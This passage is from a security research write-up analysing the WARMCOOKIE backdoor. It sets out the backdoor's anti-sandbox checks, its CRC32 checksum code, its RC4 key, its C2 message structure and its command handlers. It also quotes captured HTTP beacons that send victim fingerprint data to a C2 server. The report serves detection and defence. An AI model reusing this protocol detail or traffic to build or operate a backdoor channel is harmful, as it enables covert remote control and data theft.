verification\",width:\"865\",height:\"151\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Below are the following conditions:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"If the number of processors is greater than or equal to 4 and the calculated value from the \",(0,i.jsx)(e.code,{children:\"GlobalMemoryStatusEx\"}),\" call is greater than or equal to 0xF00, the malware will continue execution\"]}),`\n`,(0,i.jsx)(e.li,{children:\"If the number of processors is greater than or equal to 8, the malware will continue execution\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"If the calculated value from the \",(0,i.jsx)(e.code,{children:\"GlobalMemoryStatusEx\"}),\" call is greater than \",(0,i.jsx)(e.code,{children:\"0x2000\"}),\", the malware will continue execution\"]}),`\n`]}),`\n`,(0,i.jsx)(e.h4,{id:\"mutex\",children:\"Mutex\"}),`\n`,(0,i.jsx)(e.p,{children:\"Each WARMCOOKIE sample comes hard coded with a GUID-like string as a mutex. Below are some examples we have observed:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"f92e6f3c-9cc3-4be0-966c-1be421e69140\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"91f785f4-2fa4-4c85-954d-b96768ca76f2\"})}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image35.png\",alt:\"Setup before main functionality, including mutex creation\",title:\"Setup before main functionality, including mutex creation\",width:\"801\",height:\"522\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Before the main functionality is executed, WARMCOOKIE uses an OR statement to verify the command-line arguments with \",(0,i.jsx)(e.code,{children:\"/p\"}),\" returns \",(0,i.jsx)(e.code,{children:\"True\"}),\" or to check whether the scheduled task persistence needs to be created.\"]}),`\n`,(0,i.jsx)(e.h4,{id:\"execution\",children:\"Execution\"}),`\n`,(0,i.jsx)(e.p,{children:\"Before the backdoor makes its first outbound network request, it captures the following values used to fingerprint and identify the victim machine.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Volume serial number\"}),`\n`,(0,i.jsx)(e.li,{children:\"DNS domain of the victim machine\"}),`\n`,(0,i.jsx)(e.li,{children:\"Computer name\"}),`\n`,(0,i.jsx)(e.li,{children:\"Username\"}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"This was a criteria used to identify the similarities to the malware in eSentire\\u2019s \",(0,i.jsx)(e.a,{href:\"https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign\",rel:\"nofollow\",children:\"report\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image8.png\",alt:\"Checksum calculations similar to eSentire's report\",title:\"Checksum calculations similar to eSentire's report\",width:\"1096\",height:\"558\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The WARMCOOKIE C2 server likely leverages a CRC32 checksum function to verify content sent from the victim machine. Inside WARMCOOKIE itself is a checksum function that takes an input string, a length, and an initial seed value for the CRC32 function. At the beginning of the function, the seed value is negated, so at different times, the checksum function is called with different seeds. We believe the developer added this step to make it a little harder for researchers to analyze and waste time.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image31.png\",alt:\"Beginning of CRC32 checksum function\",title:\"Beginning of CRC32 checksum function\",width:\"922\",height:\"134\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The following three checksum calculations are encrypted with RC4 and sent through the HTTP cookie parameter:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"CRC32(c2_message_data)\"}),`\n`,(0,i.jsx)(e.li,{children:\"CRC32(mutex) ^ volume serial number\"}),`\n`,(0,i.jsx)(e.li,{children:\"CRC32(username) ^ CRC32(computer name)\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Below is the implementation in Python with a usage example in the Appendix:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-python\",children:`def calculate_checksum(str_input, str_len, i):\n if i == 0:\n i = 0xFFFFFFFF\n if i == -1:\n i = 0\n\n for idx in range(0, str_len, 2):\n v6 = str_input[idx] | (str_input[idx + 1] \u003c\u003c 8)\n for _ in range(16):\n if (v6 ^ i) \u0026 1:\n i = ((i \u003e\u003e 1) ^ 0xEDB88320) \u0026 0xFFFFFFFF\n else:\n i = (i \u003e\u003e 1) \u0026 0xFFFFFFFF\n v6 \u003e\u003e= 1\n\n return ~i \u0026 0xFFFFFFFF\n`})}),`\n`,(0,i.jsx)(e.h4,{id:\"communication\",children:\"Communication\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"WARMCOOKIE samples communicate over HTTP with a hardcoded IP address. The family uses a combination of RC4 and Base64 to protect its network traffic. The RC4 key is embedded in each sample. We have observed the same key being used in multiple samples. The key during this analysis is \",(0,i.jsx)(e.code,{children:\"24de21a8dc08434c\"})]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image11.png\",alt:\"Hardcoded RC4 key being decrypted\",title:\"Hardcoded RC4 key being decrypted\",width:\"649\",height:\"95\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The malware uses a custom structure to send the initial request to the C2 server, including the previously described checksum values and several fields used to track the offsets and size of the variable data.\"}),`\n`,(0,i.jsx)(e.p,{children:\"These values are sent through the HTTP cookie parameter using the following custom structure:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-cpp\",children:`enum request_type\n{ \n REGISTRATION = 1, \n COMMAND = 2 \n};\n\nstruct os_info\n{\n int major_version;\n int minor_version;\n int build_number;\n int version_calc;\n};\n\nstruct initial_request\n{\n int checksum_c2_message_data;\n int checksum_volume_mutex;\n int checksum_computer_name_username;\n request_type request_type;\n os_info os_ver;\n int offset_to_dns_domain;\n int size_base64_dns_domain;\n int offset_to_base64_computer_name;\n int size_base64_computer_name;\n int offset_to_base64_username;\n int size_base64_username;\n char base64_dns_domain[]; // Variable-length array\n char base64_username[]; // Variable-length array\n char base64_computer_name[]; // Variable-length array \n};\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The first request to the C2 server is sent through a GET request using User Agent: \",(0,i.jsx)(e.code,{children:\"Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705\"}),\".\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-curl\",children:`GET http://185.49.69[.]41/ HTTP/1.1\nCookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=\nUser-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)\nHost: 185.49.69[.]41\nConnection: Keep-Alive\nPragma: no-cache\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"Below is the CyberChef recipe of the HTTP cookie parameter decrypted from the first request, followed by a legend of the fields:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image24.png\",alt:\"Decryption of HTTP cookie via CyberChef\",title:\"Decryption of HTTP cookie via CyberChef\",width:\"1440\",height:\"620\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image20.png\",alt:\"Decryption of HTTP cookie parameters via ImHex\",title:\"Decryption of HTTP cookie parameters via ImHex\",width:\"1099\",height:\"487\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"WARMCOOKIE inserts a few integrity checks by generating hashes using the previously described checksum function. For example, the data in the decrypted HTTP cookie parameter from the 4th byte to the end is hashed and placed at the beginning (offset 0). Using the example above, this checksum value is \",(0,i.jsx)(e.code,{children:\"0xe51387e9\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"Before the malware can receive instructions, integrity checks are also used to verify the incoming response from the C2 server. In this scenario, the C2 server produces the expected checksum for the data sent to the victim machine. This is located in the first four bytes of the request.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image7.png\",alt:\"Checksum verification from incoming server request\",title:\"Checksum verification from incoming server request\",width:\"1108\",height:\"93\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Below is a demonstration of this integrity check where the request data\\u2019s hash is \",(0,i.jsx)(e.code,{children:\"0x50d26cc3\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image39.png\",alt:\"Integrity check via CyberChef\",title:\"Integrity check via CyberChef\",width:\"1440\",height:\"443\"})}),`\n`,(0,i.jsx)(e.p,{children:\"If the checksum matches, WARMCOOKIE reads the command ID at the 8th-byte offset of the request to proceed to move to the next command handler.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"bot-functionality\",children:\"Bot functionality\"}),`\n`,(0,i.jsx)(e.p,{children:\"WARMCOOKIE provides 7 command handlers for threat actors to retrieve additional victim information, record screenshots, launch additional payloads, etc. The provided functionality is relatively straightforward, allowing threat groups that need a lightweight backdoor to monitor victims and deploy further damaging payloads such as ransomware.\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Command ID\"}),(0,i.jsx)(e.th,{children:\"Description\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"1\"}),(0,i.jsx)(e.td,{children:\"Retrieve victim details\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"2\"}),(0,i.jsx)(e.td,{children:\"Record screenshots of victim machine\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"3\"}),(0,i.jsx)(e.td,{children:\"Retrieve installed programs via Uninstall registry path\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"4\"}),(0,i.jsx)(e.td,{children:\"Command-line execution (cmd.exe /c)\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"5\"}),(0,i.jsx)(e.td,{children:\"Write file to victim machine\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"6\"}),(0,i.jsx)(e.td,{children:\"Read file from victim machine\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"10\"}),(0,i.jsx)(e.td,{children:\"Delete scheduled task persistence\"})]})]})]})}),`\n`,(0,i.jsx)(e.h4,{id:\"retrieve-victim-details---command-id-1\",children:\"Retrieve victim details - command ID (1)\"}),`\n`,(0,i.jsx)(e.p,{children:\"This handler fingerprints and identifies the victim machines by collecting the IP address and CPU information. Interestingly, the imports required for this handler are statically imported.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image16.png\",alt:\"Retrieving CPU info (Handler 1)\",title:\"Retrieving CPU info (Handler 1)\",width:\"951\",height:\"523\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The malware uses HTTP \",(0,i.jsx)(e.code,{children:\"POST\"}),\" requests when sending data back to the C2 server. The HTTP POST request data is encrypted via RC4 and sent over the network in raw form. In addition, the IP address and CPU information are Base64 encoded.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-curl\",children:`POST http://185.49.69[.]41/ HTTP/1.1\nCookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=\nUser-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)\nHost: 185.49.69.41\nContent-Length: 136\nConnection: Keep-Alive\nPragma: no-cache\n\n qI:f*m y\\u0682 z ? ! ,!w k i A K k8 .(M \\u07A3\u003e \\u078B u[\\xF4z 0 -U~ 9 z\\x7F G( *X o_ _ * Y, q glTs XI8b\\\\)W W\"\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"After decrypting the HTTP POST request data, this presents a similar structure as before, where the data is front-loaded with the checksum values, offsets, and sizes to the pertinent information targeted by the handler. In this case, the Base64 encoded data is the IP Address and CPU info.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image36.png\",alt:\"Decrypted POST Request Data from Handler 1\",title:\"Decrypted POST Request Data from Handler 1\",width:\"628\",height:\"177\"})}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Encoded Value\"}),(0,i.jsx)(e.th,{children:\"Decoded Value\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"MTkyLjE2OC4xODIuMTMx\"}),(0,i.jsx)(e.td,{children:\"192.168.182.131\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"QU1EIFJ5emVuIDcgNzgwMFgzRCA4LUNvcmUgUHJvY2Vzc29yICAgICAgICAgICA=\"}),(0,i.jsx)(e.td,{children:\"AMD Ryzen 7 7800X3D 8-Core Processor\"})]})]})]})}),`\n`,(0,i.jsx)(e.h4,{id:\"screenshot-capture---command-id-2\",children:\"Screenshot capture - command ID (2)\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The ability to capture screenshots from victim machines provides a wide range of malicious options, such as stealing sensitive information displayed on the screen or actively monitoring the victim\\u2019s machine. This handler dynamically loads Windows DLLs used for graphics and drawing operations, such as \",(0,i.jsx)(e.code,{children:\"GDI32.DLL\"}),\" and \",(0,i.jsx)(e.code,{children:\"GDIPLUS.DLL\"}),\", and then uses various APIs, such as \",(0,i.jsx)(e.code,{children:\"BitBlt\"}),\",\",(0,i.jsx)(e.code,{children:\"CreateCompatibleBitmap\"}),\", and \",(0,i.jsx)(e.code,{children:\"GetSystemMetrics\"}),\" to generate the screenshot.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image26.png\",alt:\"Screen capture via BitBlt\",title:\"Screen capture via BitBlt\",width:\"912\",height:\"492\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The collected screenshot is encrypted with RC4 and sent through a POST request along with the checksum data.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image38.png\",alt:\"Decrypted POST Request Data from Handler 3\",title:\"Decrypted POST Request Data from Handler 3\",width:\"641\",height:\"173\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"By looking for the file header \",(0,i.jsx)(e.code,{children:\"JPEG File Interchange Format (JFIF)\"}),\", we can carve out the image, and find a high-quality image of our sandbox machine (below) based on our request to this handler.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image29.jpg\",alt:\"Desktop capture from VM sandbox\",title:\"Desktop capture from VM sandbox\",width:\"1440\",height:\"762\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"retrieve-installed-programs---command-id-3\",children:\"Retrieve installed programs - command ID (3)\"}),`\n`,(0,i.jsx)(e.p,{children:\"This handler enumerates the installed programs on the victim machine via the registry key:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image12.png\",alt:\"Grabbing the installed programs from the registry\",title:\"Grabbing the installed programs from the registry\",width:\"976\",height:\"467\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The program's name, version, and installation date are Base64 encoded and placed into a pipe-delimited format along with the checksum data, offsets, and sizing.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image15.png\",alt:\"Decrypted POST Request Data from Handler 3\",title:\"Decrypted POST Request Data from Handler 3\",width:\"613\",height:\"184\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Below is an example of one of the registry entries:\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Encoded Value\"}),(0,i.jsx)(e.th,{children:\"Decoded Value\"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Ny1aaXAgMTguMDEgKHg2NCk=\"}),(0,i.jsx)(e.td,{children:\"7-Zip 18.01 (x64)\"})]})})]})}),`\n`,(0,i.jsx)(e.h4,{id:\"command-line-execution---command-id-4\",children:\"Command-line execution - command ID (4)\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"WARMCOOKIE uses this handler to provide backdoor access to the victim machine. The operator provides an argument that gets executed to \",(0,i.jsx)(e.code,{children:\"cmd.exe /c \"}),\"without a console window.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image37.png\",alt:\"New process creation with custom command line\",title:\"New process creation with custom command line\",width:\"1076\",height:\"205\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"In the example below, \",(0,i.jsx)(e.code,{children:\"whoami\"}),\" is provided as the argument:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image33.png\",alt:\"Process tree with command-lines\",title:\"Process tree with command-lines\",width:\"812\",height:\"86\"})}),`\n`,(0,i.jsx)(e.p,{children:\"This function reads the output from the provided command and stores it in Base64, where it\\u2019s sent back to the C2 server. Below is an example of the decrypted data for this handler:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image30.png\",alt:\"Decrypted POST Request Data from Handler 4\",title:\"Decrypted POST Request Data from Handler 4\",width:\"650\",height:\"130\"})}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Encoded Value\"}),(0,i.jsx)(e.th,{children:\"Decoded Value\"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"ZGVza3RvcC0yYzNpcWhvXHJlbQ0K\"}),(0,i.jsx)(e.td,{children:\"desktop-2c3iqho\\\\rem\"})]})})]})}),`\n`,(0,i.jsx)(e.h4,{id:\"write-file---command-id-5\",children:\"Write file - command ID (5)\"}),`\n`,(0,i.jsx)(e.p,{children:\"WARMCOOKIE can drop files on the victim machine; the threat actors provide the file path and file data.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image28.png\",alt:\"File Creation within Handler 5\",title:\"File Creation within Handler 5\",width:\"1053\",height:\"277\"})}),`\n`,(0,i.jsx)(e.p,{children:\"As a test, we can write a file within a directory with some data and then read it in the next handler.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image27.png\",alt:\"Custom file creation\",title:\"Custom file creation\",width:\"711\",height:\"68\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image19.png\",alt:\"Data written to custom file\",title:\"Data written to custom file\",width:\"641\",height:\"247\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Depending on the file write result, WARMCOOKIE will send out a POST request with one of the following Base64 encoded values:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"OK\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"ERROR: Cannot write file\"})}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image2.png\",alt:\"Decrypted POST Request Data from Handler 5\",title:\"Decrypted POST Request Data from Handler 5\",width:\"647\",height:\"107\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"read-file---command-id-6\",children:\"Read file - command ID (6)\"}),`\n`,(0,i.jsx)(e.p,{children:\"This handler can read file content from machines infected with WARMCOOKIE. The threat actor needs to provide the file path as the argument.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image25.png\",alt:\"Reading files within Handler 6\",title:\"Reading files within Handler 6\",width:\"1067\",height:\"482\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Depending on the file read result, WARMCOOKIE will send out a POST request with one of the following Base64 encoded values along with the file contents:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"OK (See 'Files' tab)\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"ERROR: Cannot read file\"})}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image5.png\",alt:\"Decrypted POST Request Data from Handler 6\",title:\"Decrypted POST Request Data from Handler 6\",width:\"633\",height:\"115\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Based on the previous wording around a \",(0,i.jsx)(e.code,{children:\"Files\"}),\" tab, the WARMCOOKIE operators may use a GUI element.\"]}),`\n`,(0,i.jsx)(e.h4,{id:\"remove-persistence---command-id-10\",children:\"Remove persistence - command ID (10)\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"This handler removes the previously configured scheduled task with the name \",(0,i.jsx)(e.code,{children:\"RtlUpd\"}),\". By leveraging COM, it will call \",(0,i.jsx)(e.code,{children:\"DeleteFileW\"}),\" within \",(0,i.jsx)(e.code,{children:\"mstask.dll\"}),\" to remove the task.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image4.png\",alt:\"Callstack showing task deletion via COM\",title:\"Callstack showing task deletion via COM\",width:\"1063\",height:\"328\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"ida-string-decryption-tool\",children:\"IDA string decryption tool\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic Security Labs is releasing an IDAPython script used to decrypt strings from WARMCOOKIE. The decrypted strings will be placed in the IDA Pro decompiler helping analysts identify key functionality. The string decryption and IDA commenting tool can be downloaded \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/tools/warmcookie\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,i.jsx)(e.p,{children:\"WARMCOOKIE is a newly discovered backdoor that is gaining popularity and is being used in campaigns targeting users across the globe. Our team believes this malware represents a formidable threat that provides the capability to access target environments and push additional types of malware down to victims. While there is room for improvement on the malware development side, we believe these minor issues will be addressed over time. Elastic Security Labs will continue to monitor this threat and recommends that the industry do the same.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"warmcookie-and-mitre-attck\",children:\"WARMCOOKIE and MITRE ATT\u0026CK\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic uses the \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/\",rel:\"nofollow\",children:\"MITRE ATT\u0026CK\"}),\" framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,i.jsx)(e.p,{children:\"Tactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0001\",rel:\"nofollow\",children:\"Initial Access\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002/\",rel:\"nofollow\",children:\"Execution\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005/\",rel:\"nofollow\",children:\"Defense Evasion\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011\",rel:\"nofollow\",children:\"Command and Control\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0010/\",rel:\"nofollow\",children:\"Exfiltration\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"techniques\",children:\"Techniques\"}),`\n`,(0,i.jsx)(e.p,{children:\"Techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1566/\",rel:\"nofollow\",children:\"Phishing\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1204/001/\",rel:\"nofollow\",children:\"User Execution: Malicious Link\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1059/001/\",rel:\"nofollow\",children:\"Command and Scripting Interpreter: PowerShell\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1082/\",rel:\"nofollow\",children:\"System Information Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1053/\",rel:\"nofollow\",children:\"Scheduled Task/Job\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1113/\",rel:\"nofollow\",children:\"Screen Capture\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1059/003/\",rel:\"nofollow\",children:\"Command and Scripting Interpreter: Windows Command Shell\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"preventing-and-detecting-warmcookie\",children:\"Preventing and detecting WARMCOOKIE\"}),`\n`,(0,i.jsx)(e.h3,{id:\"prevention\",children:\"Prevention\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_downloads.toml\",rel:\"nofollow\",children:\"Suspicious PowerShell Downloads\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/persistence_scheduled_task_creation_by_an_unusual_process.toml\",rel:\"nofollow\",children:\"Scheduled Task Creation by an Unusual Process\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_execution.toml\",rel:\"nofollow\",children:\"Suspicious PowerShell Execution via Windows Scripts\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/defense_evasion_rundll32_regsvr32_loads_a_dll_downloaded_via_bits.toml\",rel:\"nofollow\",children:\"RunDLL32/Regsvr32 Loads a DLL Downloaded via BITS\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml\",rel:\"nofollow\",children:\"RunDLL32 with Unusual Arguments\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar\",rel:\"nofollow\",children:\"Windows.Trojan.WarmCookie\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"detection-wyara\",children:\"Detection w/YARA\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify 